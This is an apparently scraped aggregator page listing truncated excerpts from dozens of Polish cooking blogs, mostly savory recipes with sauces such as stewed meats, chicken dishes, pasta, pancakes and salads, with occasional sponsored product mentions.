duszę pod przykryciem około 1,5 godziny aż mięso stanie się kruche. Mąkę rozrabiam w kubeczku z niewielką ilością wody tak, aby nie było grudek, wlewam do sosu, mieszam i duszę jeszcze przez chwilę. Zrazy podaję z kaszą gryczaną lub kluskami śląskimi (to moje ulubione połączenia). Wołowe zrazy zawijane ŻYCZĘ SMACZNEGO

Gotuj Się Kto Może
Zielone szpinakowe naleśniki z czerwoną soczewicą 147

maki pszennej razowej, szklana mleka, 2 jajka, 20 dag mrożonego szpinaku w liściach, szczypta soli, 1 łyżka oleju. Nadzienie: 20 dag czerwonej soczewicy, 1 puszka pomidorów bez skórki w sosie, 2 ząbki czosnku, odrobina ostrej papryki, płaska łyżeczka suszonej bazylii, sól i pieprz do smaku. Sposób przygotowania zielonych szpinakowych naleśników z czerwoną soczewicą: Rozmrożony szpinak miksuję blenderem (lepiej użyć

Gotuj Się Kto Może
Placuszki cebulowo - serowe 136

Placuszki cebulowo - serowe Placuszki cebulowo – serowe to szybka przekąska lub pomysł na kolację. Doskonale pasują do piwa, można je podawać same, z sosem czosnkowym lub skropione octem balsamicznym. Przepis jest bardzo prosty i łatwy do zapamiętania, bo w zasadzie wszystkich składników jest po cztery. Z podanej porcji wychodzi około 10 placuszków. Składniki potrzebne do przygotowania placuszków cebulowo – serowych

Gotuj Się Kto Może
Tortilla zapiekana 158

rozgrzanym do temperatury 180 o C piekarniku przez około 10 - 15 minut (aż zaczną się rumienić). Każdą tortille bardzo delikatnie rozwijam i do środka dodaję nieco sosu powstałego po zmieszaniu równych objętości majonezu i ketchupu, po czym spinam ponownie i podaję. Tortilla zapiekana gotowa. Tortilla zapiekana SMACZNEGO

Gotuj Się Kto Może
Pizza z awokado 155

Pizza z awokado Pizza zupełnie inaczej, bo zamiast sosu pomidorowego użyłam awokado. Pomysł został zaczerpnięty z 2 wydania gazety KUKBUK. To zestawienie pizzy i awokado od razu mnie zaciekawiło, ale troszkę czasu minęło zanim udało mi się je wypróbować. Pomysł jest bardzo ciekawy i zupełnie odmienny od smaków do których się przyzwyczaiłam, ale właśnie dzięki temu

Gotuj Się Kto Może
Makaron z kurkami 169

jeszcze bardziej lubię je zbierać. Kurki, których użyłam do przygotowania tego dania nie były niestety własnoręcznie zbierane, ale smakują równie wyśmienicie. Makaron z kurkami w sosie śmietanowym to proste połączenie kilku składników, które może zadowolić nawet najbardziej wyrafinowanych smakoszy. Wypróbujcie. Składniki potrzebne do przygotowania makaronu z kurkami: około 200g kurek, 200 g makaronu, 200g śmietanki

Gotuj Się Kto Może
Ratatouille 148

blenderem. Pomidory parzę i obieram ze skórki. Cukinie i pomidory kroję w plastry o grubości około 0,5 cm. Na spód naczynia żaroodpornego wylewam sos paprykowy, a następnie układam w naczyniu naprzemiennie bakłażana oba rodzaje cukinii (np. żółtą i zieloną) i pomidory. Ratatouille Całość delikatnie solę i pieprzę, posypuję startym

Gotuj Się Kto Może
Zapiekanka ziemniaczana 138

powstały grudki a na koniec starty ser żółty, mieszam intensywnie aby powstała jednorodna masa i doprawiam gałką muszkatołową, solą oraz pieprzem. Zalewam ułożone składniki sosem i zapiekam w rozgrzanym do temperatury 200 o C piekarniku przez około godzinę (lub krócej jeśli ziemniaki były podgotowane) do czasu aż ziemniaki będą miękkie a całość

Gotuj Się Kto Może
Zielony kurczak 146

kurczak, to jest to co można jadać codziennie a co za tym idzie jest masa różnych przepisów na jego podanie. Dzisiaj moja kolejna odsłona kury tym razem w sosie szpinakowym. Szpinak jako szpinak sam w sobie jest nijaki i na początku nie wiedziałem jak go doprawiać aby był smaczny. Teraz wiem że wystarczy sól, pieprz i czosnek. Przepis błyskawiczny

Smacznie Pysznie Kalorycznie
Kurczak w porach 187

szybkich i pysznych przepisów na kurczaka. Dzisiaj kurczak w sosie śmietanowo porowym - szybki, jak każdy przepis na kuraka w moim wykonaniu a do tego bardzo smaczny. Czas wykonania myślę że coś koło 15 min. No to zaczynamy. Składniki: 500g piersi z kurczaka 300g pora ( 2 szt) 330ml śmietany 18% 30g masła sól, pieprz Pora kroimy w talarki/pół talarki

Smacznie Pysznie Kalorycznie
Kurczak z suszonymi pomidorami 202

Kolejna odsłona nieśmiertelnego kurczaka, tym razem błyskawiczny przepis na kurczaka w sosie z suszonych pomidorów i z dodatkiem żurawiny. Przepis podłapany od szwagierki Diany i można powiedzieć że na dobre zagościł w menu. Tak jak i poprzednie przepisy na kuraka tak i ten jest banalnie prosty i szybki. No to lecimy. Składniki 500g piersi z kury 150g suszonych pomidorów 330ml

Smacznie Pysznie Kalorycznie
GRILLOWANA ZUPA Z TORTELLONE hilcona 145

smaku ale i jakością. Hilcona wyszła też na przeciw osobom, które zrezygnowały z mięsa. Ta linia produktów nazywa się: Hilcona Veggie. Hilcona posiada bogatą gamę produktów. Znajdziemy makarony, sosy i dania warzywne. Dziś wykorzystałam tortellone Hilcona. Składniki: 500 ml bulionu warzywnego 1 op. tortellone Hilcona ze szpinakiem 800 g pomidorów z puszki 1 cebula 2 ząbki czosnku oliwa z oliwek

Kuchnia w oparach
SPAGHETTI W WIEJSKIM KLIMACIE 130

pokrojoną cukinię i posiekane chilli. Po 3 minutach dodajemy groszek i podsmażamy ok 3 minut. Dodajemy pastę z awokado i dodajemy odrobinę wody.  Gotujemy chwilę. Makaron dodajemy do sosu i chwilę podsmażamy. Jajka sadzone przygotowujemy z jajek przepiórczych. Makaron wykładamy na talerz. Posypujemy go posiekanymi pistacjami, pieprzem. Na wierzch wykładamy jajka przepiórcze. #Lubella #ŚwiatowyDzieńMakaronu #ŚwiatowyDzieńMakaronu2017 #świetujzlubellą #makaronlubella #lubellauwielbiam

Kuchnia w oparach
BUŁECZKI POMIDOROWE SMAŻONE NA PATELNI 172

Ostatnio na blogu było więcej deserów i ciast niż potraw wytrawnych. Dlatego dzisiaj zapraszam Was na bułeczki pomidorowe smażone na patelni. Bułeczki są delikatne z nutą pomidorowego sosu. Idealnie pasują aby podawać je z pastą warzywną lub rybną. Mają chrupiącą skórkę i miękki środek. Bułeczki są wynikiem wyzwania podjętego wraz z #olejWielkopolski i #olejkonwenanse , który ma udowodnić że można zrobić

Kuchnia w oparach
BABECZKI Z BATATÓW Z CHIPSEM Z GUSZKI 187

szerokie zastosowanie  w kuchni. Produkt doskonale sprawdza się jako polewa do naleśników i gofrów, składnik ciast, w szczególności pierników, dodatek do lodów i deserów, a także baza do sosów, marynat i dipów. Polecany do słodzenia gorących napojów i drinków. Trzcinowy posmak produktu nadaje daniom głębi smaku. Idealna konsystencja i specjalna membrana w zamknięciu ułatwiają dozowanie odpowiedniej ilości syropu

Kuchnia w oparach
PIECZARKOWY TORT MAKARONOWY 150

wystudzenia. Jajka, śmietanę, śmietankę, tymianek, natkę pietruszki, 2/3 sera oraz pieczarki. Mieszamy. Dolewamy sok z cytryny i mieszamy. Brzegi tortownicy smarujemy masłem lub olejem. Wykładamy połowę makaronu. zalewamy sosem ziołowo-pieczarkowym. a następnie wykładamy drugą część makaronu. Wierzch posypujemy serem. Pieczemy w piekarniku nagrzanym do 180 st przez ok 20 minut. Po upieczeniu posypujemy nasz makaronowy tort odrobiną natką pietruszki

Kuchnia w oparach
JAJKA W SEROWO-ORZECHOWEJ SKORUPCE 138

Jajka po wystudzeniu obieramy ze skorki i obtaczamy je w jajku z mlekiem a następnie w orzechowo-serowej posypce. Czynność powtarzamy. Na rozgrzanym oleju smażymy do złocistego koloru. Przygotowujemy sos: Masło rozpuszczamy i przestudzamy. Dodajemy koncentrat pomidorowy, majonez, ketchup, sok z cytryny, sól, pieprz i cukier. Mieszamy. Jajka podajemy na ciepło!   Espumisan Max to wyrób medyczne

Kuchnia w oparach
Pieczone polędwice z indyka 170

bardzo smaczne. Nie wymaga od nas zbyt wiele pracy. Hop do piekarnika i gotowe:) Więcej przepisów na dania mięsne znajdziecie w zakładce MIĘSA. Szczególnie polecam polędwiczki z indyka w sosie własnym. Jeżeli przygotowaliście Państwo coś z moich przepisów to proszę podzielcie się swoją opinią w komentarzach. Składniki 2 polędwice z indyka Marynata 1/2 cebuli 1 ząbek czosnku 1/2 łyżeczki rozmarynu

O kuchni z uczuciem
Kopytka z jabłkiem 193

Kopytka bardzo lubimy i dosyć często je robię. Staram się je jakoś urozmaicać i podawać na różne sposoby. Polecam kopytka z sosem lub z bułką tartą .Te są z dodatkiem zmiksowanego jabłka polane zrumienionym masełkiem i oprószone cukrem cynamonowym. Mówię wam, palce lizać. Składniki: 500 g ugotowanych ziemniaków 350 g twaróg półtłusty łowicki 100 g mąki krupczatki

Ala piecze i gotuje
Karkówka duszona w sosie łwasnym 165

Proponowałam już Wam karkówkę na ostro ( przepis na nią znajdziesz tutaj ) , a także gyros z karkówki ( przepis na niego znajdziesz tutaj ). Dziś proponuję Wam duszona karkówkę w sosie własnym. Składniki ( 4 porcje): 4 kotlety z karkówki o grubości około 1 cm przyprawa do karkówki 1 opakowanie 1 duża cebula ziele angielskie i liść laurowy po 3 sztuki olej do smażenia

Oka w rosole czyli KaFka gotuje
Szaszłyki na patelni z kiełbasy, piersi kurczaka,słoniny i cebuli 192

rozgrzanej patelni . Piec przez  kilkanaście minut co jakiś czas obracając, aby wszystkie składniki równo się podpiekły. Można na kilka minut przykryć przykrywką. Podawać z sałatką z rukoli , ulubionymi sosami, ryżem lub ziemniakami. SMACZNEGO

zielonacukinka
Curry warzywne 170

zamrażalnika i przygotowania go na kolejny sezon i świeże warzywa. Dzisiejsze curry składa się z kalafiora, marchewki, fasoli szparagowej i zielonego groszu, a wszystko to w aromatycznym, pomidorowym sosie. Ostrość dania można regulować według własnych upodobań ilością dodanej papryczki chilli, aby danie było wyraziste, polecam jednak użyć sporej ilości papryczek chili w końcu danie indyjskie musi być ostre! :) Polecam

Codzienne Gotowanie
Sałatka rukola z pomidorami i białą fasolą Jamar 186

twardo i łyżeczkę musztardy. Gotowe! Biała fasola firmy Jamar , teraz w nowych opakowaniach, widocznych na sklepowej półce. Wspaniały delikatny smak fasoli, nie tylko do domowych sałatek, także do sosów, zup i wszelakich innych potraw

Zasmakuj Kuchni
Najlepsze surówki do obiadu! 1691

rodzinie. Idealna zarówno do obiadu jak i do dań z grilla. WIOSENNA SURÓWKA A’LA COLESLAW PRZEPIS TUTAJ Kolorowa surówka na bazie białej kapusty z dodatkiem warzyw i sosu typowego dla bardzo znanej i lubianej surówki Coleslaw. Idealnie sprawdzi się jako dodatek do drugiego dania lub do grilla. Jest pyszna i chrupiąca, a do tego łatwa oraz w miarę

Blog z Apetytem
Barolo i przepis na bocconcini z winem 142

cielęciny – pokrojonej na małe kawałki (takie na 1 gryz) butelka wina Barolo Przygotowanie: W dużym garnku podsmaż cebulę i czosnek na oliwie, razem z rozmarynem i selerem naciowym. Dodaj sos pomidorowy i cielęcinę oraz sól, pieprz i mielone goździki. Zalej winem i gotuj na małym ogniu przez około 2 godziny. Artykuł Barolo i przepis na bocconcini z winem pochodzi

Ugotowane pozamiatane
Surówka z roszponki, gruszki i papryki 129

Olej, ocet, śmietanę i miód dokładnie mieszamy. Do smaku doprawiamy solą i pieprzem. Ziarna prażymy na suchej patelni. Na roszponkę układamy papryczki, szalotki i gruszkę. Posypujemy uprażonymi ziarnami, polewamy sosem

R'n'G Kitchen
Naleśniki z mąki ryżowej z serkiem i śmietaną 174

rekonwalescencji osobom po operacjach. Mąka ryżowa ma delikatną, lekką konsystencję i idealnie sprawdza się w pieczeniu kruchych ciasteczek, jako dodatek do innych mąk w pieczeniu chleba, jako zagęstnik do sosów. Składniki : 1 szklanka mleka  1/2 szklanki  mąki ryżowej Radix-Bis   2 jajka olej kokosowy do smażenia 500 g sera białego półtłustego  3 łyżki cukru

Sama słodycz i szczypta chili
Czwartek: Włoska zupa pomidorowa z makaronem orzo 228

jakiś czas przez 10 minut, aż warzywa trochę zmiękną. Pod koniec dodaj czosnek i suszone zioła. Następnie otwórz puszkę z pomidorami, pokrój je na kawałki i wraz z sosem wlej do garnka. Zamieszaj i zagotuj. Wlej bulion lub wodę, przykryj i gotuj na małym ogniu przez 20 minut. Krok 2 Zagotuj w osobnym garnku wodę – ze 3 szklanki, dodaj

Niedzielny kucharz
Lekka sałatka z kurczakiem i sałatą lodową 215

garść makaronu gnocchi (lub innego) – ugotowanego w osolonej wodzie sałata lodowa seler naciowy – 1 seler posiekany w plastry ser żółty starty na grubych oczkach garść prażonego słonecznika Sos: 2 łyżki jogurtu naturalnego, 1 łyżka majonezu, sól, pieprz, 1 ząbek czosnku Wszytskie składniki mieszamy. Sałatka jest szybka i pyszna, polecam. Doskonale nadaje się na kolację, imprezę.   Artykuł Lekka

MojaQchnia.pl
Quesadilla 184

Posypać serem i chili. Przykryć dwoma pozostałymi plackami. Tortille ułożyć na grillu, przykryć, piec do zarumienienia, aż ser w środku się roztopi. Przed podaniem pokroić. Można podać z ulubionym sosem. Smacznego

Obiad gotowy
„Flapjacks”- amerykańskie naleśniki 152

Uwielbiane w całej Ameryce, podawane najczęściej z syropem klonowym lub dżemem. Ja swoje naleśniki podałam z gorącym sosem jagodowym i kleksami bitej śmietany. Są delikatne i bardzo puszyste, to było mniam , mniam.:)) Składniki 1 jajko 1 szklanka maślanki 1 szklanka mąki 2 łyżki oleju 1-2 łyżki cukru cukier waniliowy 1 łyżeczka proszku do … Czytaj dalej „Flapjacks

gotuj ze mną
Pasztet warzywny z ciecierzycą i kaszą jaglaną 203

kawałek selera Mała czerwona cebula Ćwierć szklanki pestek słonecznika Ćwierć szklanki pestek dyni Jajko 3 łyżeczki płatków drożdżowych (można pominąć) Przyprawy: kumin, słodka papryka, ostra wędzona papryka, oregano, pieprz, sos sojowy (można zamienić na sól) Marchewkę, pietruszkę oraz seler zetrzeć na tarce na dużych oczkach Cebulę drobno posiekać W garnku podsmażyć cebulę, po chwili dodać starte warzywa i smażyć kilka

HealthyCreations
Pieczone czosnkowo-paprykowe ziemniaczki 238

Dziś polecam Wam pieczone czosnkowo-paprykowe ziemniaczki . Pyszna propozycja na obiad. Idealnie smakują same, w towarzystwie zestawu domowych surówek , w towarzystwie ulubionych sosów, jako dodatek do mięs itd. Proste w przygotowaniu i naprawdę pyszne. Nie wiem jak Wy, ale ja nigdy nie odmawiam takich ziemniaczków Spróbujcie, polecam. Do przygotowania pieczonych czosnkowo-paprykowych ziemniaczków użyłam masła klarowanego Sertop. Polecam! Aby poznać

Słodkie okruszki
Gulasz wieprzowy z karkówki 257

Dodajemy liście laurowe, ziele angielskie oraz pieprz *** *** Całość dusimy pod przykryciem, na niewielkim ogniu, przez około 1 godzinę. Po tym czasie dodajemy koncentrat, mieszamy i doprawiamy do smaku *** *** Gdyby sos był nadal zbyt rzadki możemy zdjąć pokrywkę i gotować do momentu, aż zgęstnieje lub zagęścić go dodając łyżeczkę mąki rozpuszczonej w kilku łyżkach wody. Gotowy gulasz podajemy z ziemniaczkami, kluseczkami

Blog z Apetytem
Makaron z brokułami, serem pleśniowym i prażonymi migdałami 211

Smaczna i szybka propozycja obiadowa dla zabieganych. Makaron w sosie serowo-brokułowym z prażonymi migdałami. Makaron jest syty i niewiele kosztuje, świetnie łączy się z zielonymi brokułami, można więc z niego wyczarować wiele pysznych dań. Doskonale zaspokaja głód i zajmuje niewiele czasu do przygotowania. Polecam na wiosenny obiad. Składniki: Na 3-4 porcje: 30 dag dowolnego grubego makaronu (ja miałam

Wanilia i Kardamon
ZDROWE kotlety mielone z dodatkiem kaszy, w panierce z siemienia lnianego. 175

wyrabiam masę z mięsem zawsze minimum kwadrans. Mięso porcjujemy, formujemy kotlety panierujemy w siemieniu lnianym i smażymy na oleju na złoty kolor z każdej ze stron. Podajemy np. z sosem tzatziki i ogórkiem zielonym. Pyszne! Koniecznie wypróbuj

SMYKWKUCHNI
DOMOWA BIAŁA KIEŁBASA. JAK ZROBIĆ PRZEPYSZNĄ BIAŁĄ KIEŁBASĘ? 609

Domowa biała kiełbasa, tylko na święta? Domowa biała kiełbasa większości z nas od razu kojarzy się z Wielkanocnym śniadaniem. Przeważnie podaje się ją zapiekaną z cebulą i piwem, w sosie polskim lub tylko parzoną z dodatkiem chrzanu, ogórka kiszonego i pieczywa. No i oczywiście bez dobrej, białej kiełbasy nie może obejść się żaden wielkanocny żurek, czy barszcz biały

Moja Książka Kucharska
Wtorek: Spaghetti ze szparagami, ziemniakami i pesto 184

orzechy, czosnek, oliwę i parmezan. Krok 3 Odcedź makaron i warzywa, przełóż do misy z pesto. Wymieszaj i wcinaj! Smacznego! Lubisz szparagi? Sprawdź również szparagi z makaronem w maślanym sosie         oraz pęczotto primavera . Artykuł Wtorek: Spaghetti ze szparagami, ziemniakami i pesto pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Wiosenna sałatka z selerem naciowym i tuńczykiem 184

suszona bazylia Składniki: Do dużej miski przekładamy szpinak, paprykę, seler, pomidora, a następnie polewamy odrobiną oleju i przeprawiamy pieprzem oraz bazylią. Dokładnie mieszamy aby składniki dobrze połączyły się z sosem. Sałatkę przekładamy na talerz a na nią wykładamy kawałki tuńczyka. Smacznego

Życie ze smakiem
falszywy kugel-zapiekanka 184

regionów Polski. W centralnej Polsce (w okolicach Ostrowi Mazowieckiej) na zapiekane ziemniaki z dodatkami mówiono kugiel. Nie jest to typowa babka ziemniaczana, raczej potrawa jednogarnkowa - bardzo smaczna i sycąca. Sos dużo czosnku president twaróg garść sezamu mieszanego Wykonanie w mikserze zmiksować czosnek z twarogiem,dodać sezam i opcjonalnie zielony szczypiorek:)) ps .u mnie na wierzchu plastry sera żółtego

w mojej kuchni
"Brudny" ryż z Nowego Orleanu, czyli nowoorleański Dirty Rice z wątróbką 216

Brudny ryż występuje najczęściej w kreolskich regionach południowej Luizjany, jednak można go znaleźć również w innych obszarach Ameryki Południowe, gdzie określany jest jako kurczak z ryżem lub sos ryżowy. Składniki (4 porcje) -1 1/2 szkl. długoziarnistego białego ryżu -250 g wątróbki drobiowej -250 g mielonego mięsa wieprzowego -1 duża cebula lub 2 małe -1/2 zielonej papryki -2 pałeczki selera

Zielona Kuchnia
Wołowina z warzywami w sosie pomidorowym 221

rewelacyjną wołowinę 😊Przygotowałam ją w szybkowarze, ale w ten sam sposób możecie ją upiec w piekarniku. Wołowina i warzywa będą idealnie miękkie, a w połączeniu z aromatycznym pomidorowo-grzybowym sosem całość tworzy niesamowicie smaczne połączenie. Zachęcam do przygotowania!  Składniki na porcję dla 6 osób: około 1 kg miękkiej wołowiny 3 marchewki 1 pietruszka 1/4 selera 1 duża cebula

Ugotować
Najlepsze chrupiące naleśniki 164

cukrem ubijamy na sztywno. Truskawki kroimy na ćwiartki lub na ósemki. Gotowe naleśniki składamy w kopertki, nakładamy na nie bitą śmietanę, której część rozkosznie rozpłynie się tworząc pyszny słodki sos i posypujemy pokrojonymi truskawkami. Takie proste, takie pyszne. Bon apetit!     Artykuł Najlepsze chrupiące naleśniki pochodzi z serwisu Kate's Kitchen

Kate's Kitchen
Gnocchi 543

lekko mieszamy aby nie przywarły do dna garnka i gotujemy około 1 minutę od momentu wypłynięcia kluseczek. Wyławiamy za pomocą łyżki cedzakowej. Podajemy jako dodatek do dań, z ulubionym sosem. Gnocchi bardzo smaczne są także następnego dnia, np. odsmażane na maśle *** *** Smacznego *** POLECAM TAKŻE: KLUSKI ŚLĄSKIE PRZEPIS TUTAJ SZARE KLUSKI Z BOCZKIEM I KAPUSTĄ PRZEPIS TUTAJ KOPYTKA PRZEPIS TUTAJ Artykuł

Blog z Apetytem
Włoska zupa pomidorowa z makaronem orzo 142

jakiś czas przez 10 minut, aż warzywa trochę zmiękną. Pod koniec dodaj czosnek i suszone zioła. Następnie otwórz puszkę z pomidorami, pokrój je na kawałki i wraz z sosem wlej do garnka. Zamieszaj i zagotuj. Wlej bulion lub wodę, przykryj i gotuj na małym ogniu przez 20 minut. Krok 2 Zagotuj w osobnym garnku wodę – ze 3 szklanki, dodaj

Niedzielny kucharz
Szybki kurczak w marynacie zielonej bogini 195

minut! Tak pysznie i szybko kurczaka jeszcze nie piekliście Czas: 45 minut pieczenia, noc na marynowanie mięsa Poziom trudności: łatwy Liczba porcji: 4 Szybki kurczak od bogini Pewnie znacie sos zielonej bogini – czyli amerykański wynalazek do dań z grilla, robiony na bazie majonezu lub śmietany zmiksowanej ze świeżymi ziołami. Zielona bogini poszła dalej i wymyśliła też marynatę do mięs

Niedzielny kucharz
Spaghetti ze szparagami, ziemniakami i pesto 156

orzechy, czosnek, oliwę i parmezan. Krok 3 Odcedź makaron i warzywa, przełóż do misy z pesto. Wymieszaj i wcinaj! Smacznego! Lubisz szparagi? Sprawdź również szparagi z makaronem w maślanym sosie oraz pęczotto primavera . Artykuł Spaghetti ze szparagami, ziemniakami i pesto pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Duszone warzywa z czarnuszką 151

danie jest zdecydowanie lepsze na drugi dzień, kiedy smaki "przegryzą się". Zazwyczaj podaje je z kromkami chleba, bo wtedy, tak jak robią to Włosi, pozostały na danie sos, można zjeść przy pomocy pieczywa właśnie. Kocham słońce, wino i dobre jedzenie! Duszone warzywa z czarnuszką / 2 porcje Składniki: 1/2 cukinii 1/2 bakłażana 1/3 czerwonej papryki 1/3 zielonej papryki lub żółtej

Moja smaczna kuchnia
Żeberka duszone w warzywach 206

wodę, tyle aby zakryła mięso, dodać ziele angielskie i liść laurowy  i dusić na wolnym ogniu około 50-60 minut aż żeberka będą miękkie.  Na sam koniec sos zagęścić zawiesiną z mąki pszennej rozrobiona niewielką ilością wody, doprawić ewentualnie do smaku solą. Podawać do ziemniaków posypane natką pietruszki

Wanilia i Kardamon
Miętusek na zimno z brzoskwinią 172

Dziś serniczek na zimno. Lekko orzeźwiający dzięki sosowi miętowemu, który raczej przeznaczony jest do dań wytrawnych. Ale w słodkim deserze też sprawdził się świetnie. Taki wiosenny serniczek z brzoskwiniami idealny na dzisiejszy słoneczny dzień. Rozwiń i czytaj przepis

Ewa w kuchni
Budyniowe naleśniki z twarożkiem i malinami 241

kakao, ale może też być rozpuszczona gorzka czekolada Na każdym naleśniku rozsmarowuję niewielką ilość dżemu, dodaję twarożek, słodzidło i maliny, podgrzewam na patelni i układam w kopertę. Polewam sosem czekoladowym, posypuję wiórkami kokosowymi, płatkami migdałowymi i podaję z malinami. Pychotka 3x!!!    Smacznego! 🌸 ✩✩✩    Instagram  |  Facebook  |  YouTube

Kuchnia Ellie
Spaghetti z mulami i krewetkami w kremowym sosie winnym 196

Spaghetti z mulami i krewetkami w kremowym sosie winnym Zainspirowane zakupami na zaprzyjaźnionym podparyskim ryneczku. Polecam takie uczty wszystkim tym, którzy kochają owoce morza i mają do nich bezpośredni dostęp. Zapraszam. Składniki: 250 g makaronu spaghetti 300 g świeżych muli 150 g świeżych krewetek 1 szalotka 1 ząbek czosnku 1 gałązka tymianku 1 liść laurowy 250 ml białego wytrawnego

Wino Francja Kuchnia
Rolowane ziemniaczki purée w wafelku 158

Dzisiaj mam dla Was fenomenalny dodatek do dań głównych. Rolowane ziemniaczki purée w wafelku znakomicie pasują do dań z sosem. Są proste w przygotowaniu, więc na pewno zaskoczycie nimi swoją rodzinkę Możemy je podawać opanierowane w bułce tartej lub bez. W każdej wersji są przepyszne Rolowane ziemniaczki purée w wafelku Składniki: około 300 g ugotowanych ziemniaków 1 łyżka masła

PatiGotuje
Zapiekanka gołąbkowa 173

solą i pieprzem. Naczynie żaroodporne posmarować olejem lub masłem na dnie ułożyć 1/3 kapusty następnie połowę farszu mięsno-ryżowego. Zalewamy połową pomidorów i układamy kolejną warstwę kapusty, mięsa i sosu. Na samą górę układamy ostatnią warstwę kapusty, która mieszam delikatnie z pomidorami. ( film poniżej prezentuje kolejność układania). Naczynie przykrywa. Jeśli użyjecie naczynia bez przykrywki użyjcie foli aluminiowej. Pieczemy godzinę

Kulinarne przygody
Galette – ciasto kruche na oliwie – z serem, cebulą i porem 278

brzegi ciasta widocznie przyrumienić. Wyjmujemy upieczoną rustykalną tartę, dajemy jej chwilkę ostygnąć żeby nadzienie przestało buzować, kroimy na porcje i podajemy. Każda mieszanka sałat z prostym winegretem lub z sosem włoskim będzie tutaj idealna jako prosty dodatek. Tak jak kieliszek schłodzonego, półwytrawnego białego wina. CIASTO KRUCHE NA OLIWIE 180g mąki pszennej* T450 albo T500 + zapas do podsypania 50g dobrej włoskiej

Karo in the Kitchen
Pieczone ziemniaki 220

minut w temp. 160st (góra/dół z termoobiegiem). Po 15-20 minutach należy podlać wodą lub bulionem. Podawać jako dodatek do dań głównych lub jako przekąskę z sosem czosnkowo-ziołowym

Kulinarne blogowanie
Weganskie pieczone pierogi z ziemniakami i groszkiem 218

pieca nagrzanego do 180 st.C. Pieczemy ok 15 minut, po tym czasie pierożki odwracamy na druga stronę i znowu smarujemy olejem. Podpiekamy dalsze 10 minut. ja podałam je z sosem pomidorowym i jogurtowym czosnkowym

Dzieje kuchennej Wiewióry
zapiekanka - piętrowa pizza 278

częścią ciasta. Posmarować resztą ketchupy, ułożyć pomidory i ser mozzarella. Wierzch posypać ziołami prowansalskimi.  Piec w 190*C  przez około 30 minut. Podawać posypaną zieloną cebulką, z sosem czosnkowym lub ketchupem

Domowa Cukierenka-Domowa Kuchnia
Gambo – nowoorleański gulasz w wersji roślinnej 188

kiełbaski sojowe (250 g) 3 1/2 szklanki wody lub bulionu warzywnego 1 łyżka wędzonej papryki słodkiej w proszku 3 liście laurowe 1 łyżeczka oregano 1 łyżeczka tymianku 2 łyżki sosu sojowego płatki chilli według uznania (opcjonalnie) Zasmażka: 2 łyżki oleju 3 łyżki mąki ryżowej lub pszennej Wykonanie: Warzywa obieramy; cebulę, paprykę i cukinię kroimy w kostkę. Czosnek drobno siekamy, pieczarki

Lamarida.pl
Kulki ziemniaczane 405

włoskiego) kuleczki. Obtaczamy w bułce tartej i smażymy na złoty kolor w rozgrzanym oleju. Gotowe odsączamy na papierowym ręczniku. Podajemy jako dodatek do wszelkich mięs lub same z ulubionymi sosami

Kuchnia w czekoladzie
Zapiekanki z jajkiem 342

Całość posyp pozostałym serem. Zapiekaj bagietki w piekarniku w temperaturze 200 st C przez 12-15 minut. Podawaj od razu posypane szczypiorem, możesz podać do nich ketchup lub domowy sos pomidorowy. Smacznego! Artykuł Zapiekanki z jajkiem pochodzi z serwisu nietylkopasta.pl - blog kulinaria, restauracje, podróże

nietylkopasta.pl
KETO WRAPY – TORTILLE (keto, LCHF, paleo, optymalna, bez glutenu, jajek i laktozy) 432

być zbyt cienkie ponieważ jest kruche i łamie się. Podpiekać na suchej, rozgrzanej patelni. Delikatnie obrócić na drugą stronę i również podpiec. Wrapy podawać z ulubionym mięsem, warzywami i sosami. Tortille można przechowywać w lodówce np w bawełnianej ściereczce. Jeszcze nie testowałam mrożenia ale zamierzam sprawdzić przy okazji Smacznego! — BTW 1 placka tortilli: 65 g, 70 kcal

Ola la LCHF
Kurczak z rożna 184

Piec razem z kurczakiem , w zależności od wagi kurczaka, od 1.5 h do 2 h w piekarniku nagrzanym do 180 st. C. Polewać od czasu do czasu wydzielającym się sosem

KUCHNIA POLSKA
ZŁOCISTY KURCZAK W SOSIE ŚMIETANOWO KECZUPOWYM 141

smaku Udka uprzednio należy umyć pod bieżącą wodą. Osuszyć ręcznikiem.  Do naczynia żaroodpornego nakładamy śmietanę oraz keczup. Mieszamy razem z papryką oraz przyprawiamy solą i pieprzem. Do sosu wkładamy kurczaka i tak marynujemy go przez cała noc w lodówce.  Pieczemy pod przykryciem przez 40 minut w 180 o C. Jeżeli przygotowałaś/eś danie z tego przepisu, bardzo

Słodki Zakątek
Placki ziemniaczane ze śmietaną 222

Placki ziemniaczane to danie, które jest proste w wykonaniu i bardzo często przypomina nam o beztroskich latach gdy mama szykowała placki na obiad . Zapach, smak chyba

Kulinarnyblog.pl - wiesz jak gotować!
Wegańska kalafiornica z pomidorami (dieta dr Dąbrowskiej) 204

ogórków wegański rosół z makaronem z marchewki sałatkę z kapusty pekińskiej z kiszonym ogórkiem sałatkę z cykorii z kiszonym burakiem surówkę z kiszonej kapusty z granatem kalafior w pikantnym sosie pomidorowym grillowaną cukinię z warzywami po grecku frytki z dyni piżmowej wegański bigos wegańskie burgery z kalafiora zakwas z buraków sok z kiszonych buraków z marchewką i jabłkiem

Kulinarne przygody Gatity
Kotlety z fasoli i pieczarek 183

pieczarkami i cebulką, doprawiłam majerankiem, uformowałam kotlety, które następnie upiekłam i podałam w towarzystwie kaszy owsianej z warzywami oraz meksykańską salsą . Doskonale pasować  tu będzie także pikantny sos pomidorowy. Składniki   16 sztuk: Na kotlety: 400g białej fasoli ( u mnie fasola jaś z Radix-bis ) 500g pieczarek 3 ząbki czosnku 1 duża cebula 1/2 pęczka pietruszki

Fabryka pomysłów
Bezglutenowe, wegańskie placki z mąki z ciecierzycy 161

użycia tłuszczu) Smażyć na małym ogniu pod przykryciem, po około 2-3 minutach odwrócić placki na drugą stronę i zostawić jeszcze minutę Ja podałam placki w towarzystwie sałatki oraz sosu pomidorowego na bazie jogurtu i passaty pomidorowej

HealthyCreations
Warzywne curry ze słodkimi ziemniakami, ciecierzycą i szpinakiem 210

niż 3 minuty od momentu wrzenia wody. Pokroić cebulę i podsmażyć na gorącym oleju z przyprawami przez około 5 minut. Następnie dodać pomidory i mleko kokosowe. Dodać rozmrożony szpinak. Sos dokładnie wymieszać, a następnie dodać słodkie ziemniaki i ciecierzycę. Wszystko delikatnie wymieszać. Dusić na patelni około 10 minut, a następnie doprawić solą. Można posypać świeżą kolendrą. Najlepiej smakuje z ryżem

Karola gotuje
Pieczeń Pork Wellington 232

